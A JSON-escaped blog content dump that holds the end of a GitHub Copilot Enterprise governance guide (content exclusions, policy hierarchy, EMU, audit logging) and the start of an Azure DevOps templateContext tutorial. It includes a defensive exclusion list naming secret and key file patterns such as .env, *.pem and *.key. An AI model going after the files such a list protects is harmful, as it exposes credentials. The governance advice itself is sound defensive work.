fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='196' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='196' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='196' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='196' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch3 id=\"recommended-org-level-patterns\"\u003eRecommended Org-Level Patterns\u003c/h3\u003e\n\u003cp\u003eClassify your codebase and exclude high-risk paths immediately:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSecrets:\u003c/strong\u003e \u003ccode\u003e**/.env*\u003c/code\u003e, \u003ccode\u003e**/secrets.json\u003c/code\u003e, \u003ccode\u003e**/*.pem\u003c/code\u003e, \u003ccode\u003e**/*.key\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eIaC:\u003c/strong\u003e \u003ccode\u003einfra/\u003c/code\u003e, \u003ccode\u003eterraform/\u003c/code\u003e, \u003ccode\u003ebicep/\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eProprietary IP:\u003c/strong\u003e \u003ccode\u003e/src/core/proprietary-algo/**\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCompliance:\u003c/strong\u003e \u003ccode\u003e**/test-data/**\u003c/code\u003e, \u003ccode\u003e**/fixtures/**\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"3-the-copilotignore-myth\"\u003e3. The .copilotignore Myth\u003c/h2\u003e\n\u003cp\u003eThere is \u003cstrong\u003eno native \u003ccode\u003e.copilotignore\u003c/code\u003e file\u003c/strong\u003e supported by GitHub for server-side enforcement. This surprises a lot of people, because \u003ccode\u003e.gitignore\u003c/code\u003e set the expectation. Third-party extensions exist to simulate this behavior, but they are client-side workarounds — a developer can disable the extension, and your \u0026ldquo;exclusion\u0026rdquo; disappears with it.\u003c/p\u003e\n\u003cp\u003eFor true governance, use the \u003cstrong\u003eContent Exclusion\u003c/strong\u003e settings in the GitHub web interface. You can use \u003ccode\u003e.github/copilot-instructions.md\u003c/code\u003e (a 2025/2026 feature) to provide project-level standards that complement your server-side exclusions, but it does not replace them.\u003c/p\u003e\n\u003ch2 id=\"4-enterprise-policy-controls\"\u003e4. Enterprise Policy Controls\u003c/h2\u003e\n\u003cp\u003eBeyond file exclusions, you need to control the behavior of the model itself.\u003c/p\u003e\n\u003ch3 id=\"disabling-verbatim-public-code-matching\"\u003eDisabling Verbatim Public Code Matching\u003c/h3\u003e\n\u003cp\u003eSet \u0026ldquo;Allow suggestions matching public code\u0026rdquo; to \u003cstrong\u003eBlocked\u003c/strong\u003e at the enterprise level. This prevents Copilot from suggesting code identical to licensed public repositories, reducing the risk of IP contamination or unintended license attribution requirements. This is a one-time setting that is easy to miss during initial setup.\u003c/p\u003e\n\u003ch3 id=\"managing-ai-agency-the-2026-standard\"\u003eManaging AI Agency (The 2026 Standard)\u003c/h3\u003e\n\u003cp\u003eAs of 2026, Copilot has moved into an \u003cstrong\u003eAgentic Phase\u003c/strong\u003e. Use \u003cstrong\u003eModel Context Protocol (MCP)\u003c/strong\u003e settings to vet which external tools and data sources Copilot agents can access. Monitor the \u003ccode\u003eactor:Copilot\u003c/code\u003e filter in your audit logs to identify actions taken by AI agents on your behalf.\u003c/p\u003e\n\u003ch2 id=\"5-enterprise-managed-users-emu-and-identity\"\u003e5. Enterprise Managed Users (EMU) and Identity\u003c/h2\u003e\n\u003cp\u003eWithout Enterprise Managed Users (EMU), your developers can use personal GitHub accounts on corporate machines. Your content exclusions and policy controls apply to the organization — not to the personal account. Everything you configured in sections 2–4 becomes optional for anyone who is not signed into an EMU account.\u003c/p\u003e\n\u003cp\u003eEMU accounts are owned by the enterprise and provisioned via Entra ID SCIM. By pairing EMU with \u003cstrong\u003eOIDC (OpenID Connect)\u003c/strong\u003e, you can enforce \u003cstrong\u003eConditional Access Policies (CAP)\u003c/strong\u003e. This ensures Copilot is only accessible from compliant devices on approved corporate IP ranges. If a developer\u0026rsquo;s session shifts to an unauthorized IP, access is blocked immediately. No workarounds, no exceptions.\u003c/p\u003e\n\u003ch2 id=\"6-audit-logging-and-compliance\"\u003e6. Audit Logging and Compliance\u003c/h2\u003e\n\u003cp\u003eThe GitHub Enterprise audit log records every Copilot-related event, including seat assignments, policy changes, and content exclusion updates (e.g., \u003ccode\u003ecopilot.excluded_paths_updated\u003c/code\u003e).\u003c/p\u003e\n\u003ch3 id=\"streaming-for-long-term-auditing\"\u003eStreaming for Long-Term Auditing\u003c/h3\u003e\n\u003cp\u003eGitHub retains audit logs for a limited window (7 to 180 days). For production compliance (SOC 2, HIPAA), that window is not long enough. Configure \u003cstrong\u003eAudit Log Streaming\u003c/strong\u003e to Azure Event Hubs or Log Analytics to keep a permanent record. From there, you can build a governance dashboard that tracks seat utilization and alerts you if an admin attempts to loosen a blocked security feature.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eServer-Side is Superior:\u003c/strong\u003e Do not rely on \u003ccode\u003e.gitignore\u003c/code\u003e or local hacks. Use server-side Content Exclusions to keep proprietary code out of the AI\u0026rsquo;s context.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePolicy Hierarchy Matters:\u003c/strong\u003e Set the \u0026ldquo;hard floor\u0026rdquo; at the enterprise level to prevent organization-level configuration drift.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eEMU Closes the Gap:\u003c/strong\u003e Enterprise Managed Users ensure that all AI usage occurs within your policy and identity framework, eliminating \u0026ldquo;Shadow Copilot.\u0026rdquo;\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSecure the Agency:\u003c/strong\u003e With the rise of Agentic AI, vet Copilot\u0026rsquo;s tool access via MCP and monitor AI-driven actions in the audit log.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReview Quarterly:\u003c/strong\u003e Codebases and AI features evolve. Review your exclusion patterns quarterly to maintain your security posture.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/keyless-ai-entra-id-managed-identities-azure-openai/\"\u003eKeyless AI: Using Entra ID Managed Identities for Azure OpenAI\u003c/a\u003e to replace API keys with Managed Identity authentication.\u003c/li\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/configuring-azure-openai-private-link/\"\u003eConfiguring Azure OpenAI Private Link: Keeping AI Traffic Off the Public Internet\u003c/a\u003e to implement network-level isolation via Private Link.\u003c/li\u003e\n\u003cli\u003eReturn to \u003ca href=\"/posts/the-ultimate-guide-to-secure-ai-devops-on-azure/\"\u003eThe Ultimate Guide to Secure AI DevOps on Azure: A Privacy-First Blueprint\u003c/a\u003e to see how Copilot governance integrates into the full six-layer blueprint.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/copilot/managing-github-copilot-in-your-organization/configuring-content-exclusions-for-github-copilot\"\u003eGitHub Docs: Configuring content exclusions for GitHub Copilot\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/copilot/about-github-copilot/about-github-copilot-for-business#about-data-privacy-for-github-copilot-for-business\"\u003eGitHub Docs: About GitHub Copilot for Business and Enterprise data privacy\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/copilot/managing-github-copilot-in-your-organization\"\u003eGitHub Docs: Managing access to GitHub Copilot in your organization\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/enterprise-cloud@latest/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-enterprise-managed-users\"\u003eGitHub Docs: About Enterprise Managed Users\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://docs.github.com/en/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise\"\u003eGitHub Docs: Streaming the audit log for your organization\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!--\n### Image Generation Prompts\n\n**Prompt 1 — 3D Abstract / Isometric**\nWide landscape format, 16:9 aspect ratio. A clean Blender-style isometric 3D illustration of a three-tiered policy hierarchy rendered as stacked architectural layers floating in dark space. The topmost layer — the largest and most solid — is a deep charcoal slab representing enterprise-level governance, with a glowing hard boundary along its outer edge. Below it, a mid-sized slate-blue layer represents organization settings, and beneath that a smaller lighter layer represents repository rules. Abstract file block icons travel upward from the bottom layer and are filtered at each tier, with some blocks deflected sideways at the first boundary they do not pass. Teal and steel-blue accent lighting, no text, no labels.\n\n**Prompt 2 — Cyber-Industrial / Data Flow**\nWide landscape format, 16:9 aspect ratio. A high-contrast dark environment showing a dense stream of abstract file fragments — represented as thin glowing rectangles — flowing from left to right toward a layered wall of translucent security panels. As the fragments hit the first panel, the majority pass through in cool white light. A subset — glowing amber — is deflected downward and sealed inside a dark containment zone below the main stream. The containment zone has a faint lock pattern on its surface. The overall metaphor is a code repository being scanned for protected content. Deep black background, electric blue and amber palette, no text, no UI.\n\n**Prompt 3 — Claymorphism / Soft 3D**\nWide landscape format, 16:9 aspect ratio. A matte clay-style 3D render of a miniature repository as a rounded filing cabinet with soft shadows. Several clay drawer compartments are open and accessible, rendered in light cool gray. Two drawers at the bottom are sealed shut with a smooth rounded padlock — representing excluded paths. An abstract stylized Copilot-like shape hovers nearby with a gentle scanning beam, visibly stopped in front of the locked drawers. The background is a soft warm white with diffuse studio lighting. Pastel blue, off-white, and warm amber accent tones, no text, no labels.\n\n**Prompt 4 — Minimalist Vector / Flat**\nWide landscape format, 16:9 aspect ratio. A flat vector illustration using a strict palette of charcoal, ice blue, and amber. Three concentric shield rings dominate the center, each representing a tier of the governance hierarchy from enterprise on the outside to repository on the inside. Abstract file silhouettes orbit the outer ring; some cross through gaps in the ring while others — marked with a small amber indicator dot — are caught and bounced back to the outside. The composition is symmetrical and geometric. No gradients, no text, no labels, clean flat fill with subtle inner-shadow definition on the shield rings.\n--\u003e\n","description":"Configure GitHub Copilot Enterprise content exclusions, org-level policies, and OIDC-based identity controls to protect proprietary code from AI indexing.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/github-copilot-enterprise-governance-content-exclusions-policy-controls/","title":"GitHub Copilot Enterprise Governance: Content Exclusions \u0026 Policy Controls"},{"content":"\u003cp\u003eYou are building a central template that accepts a list of jobs. But you need each job to carry its own \u0026ldquo;owner\u0026rdquo; email and \u0026ldquo;security_tier\u0026rdquo; without forcing every developer to use a custom job schema. You try adding these as parameters, but Azure DevOps throws a schema validation error because \u003ccode\u003eowner\u003c/code\u003e is not a valid property of a \u003ccode\u003ejob\u003c/code\u003e. You are stuck between breaking the standard or losing your metadata.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003etemplateContext\u003c/code\u003e property is one of the most powerful, yet least understood, features in the Azure DevOps YAML engine. It was designed to solve the \u0026ldquo;Encapsulation Gap\u0026rdquo;—the inability to attach non-functional metadata to standard pipeline objects (stages, jobs, and steps). Without \u003ccode\u003etemplateContext\u003c/code\u003e, you are often forced to use complex object mapping or global variables, both of which leak logic and make templates harder to maintain. This guide provides a deep dive into \u003ccode\u003etemplateContext\u003c/code\u003e, teaching you how to \u0026ldquo;smuggle\u0026rdquo; custom data into your templates and use it to drive sophisticated governance logic.\u003c/p\u003e\n\u003ch2 id=\"1-the-encapsulation-gap-and-the-schema-problem\"\u003e1. The \u0026ldquo;Encapsulation Gap\u0026rdquo; and the Schema Problem\u003c/h2\u003e\n\u003cp\u003eStandard objects like \u003ccode\u003ejobList\u003c/code\u003e, \u003ccode\u003estageList\u003c/code\u003e, and \u003ccode\u003estepList\u003c/code\u003e have strict, hard-coded schemas in Azure DevOps. The validator checks for valid properties like \u003ccode\u003epool\u003c/code\u003e, \u003ccode\u003esteps\u003c/code\u003e, or \u003ccode\u003evariables\u003c/code\u003e. If you attempt to add an arbitrary property—such as \u003ccode\u003eappId: 123\u003c/code\u003e—directly to a job definition, the orchestrator rejects the YAML with an \u0026ldquo;Unexpected property\u0026rdquo; error.\u003c/p\u003e\n\u003ch3 id=\"the-encapsulation-gap-the-schema-problem\"\u003eThe Encapsulation Gap (The Schema Problem)\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 552 137\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 272,64 L 288,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,80 L 104,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='112.000000,96.000000 100.000000,90.400002 100.000000,101.599998' fill='currentColor' transform='rotate(90.000000, 104.000000, 96.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='280.000000,64.000000 268.000000,58.400002 268.000000,69.599998' fill='currentColor' transform='rotate(180.000000, 272.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='68' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='116' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='20' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='116' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='116' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='116' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='116' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='20' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='116' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='116' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='116' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='116' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='116' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='116' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='68' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='116' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='116' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='116' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='116' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='116' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='116' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='68' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='68' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='68' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='68' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='68' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='68' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='68' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='68' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='68' fill='currentColor' 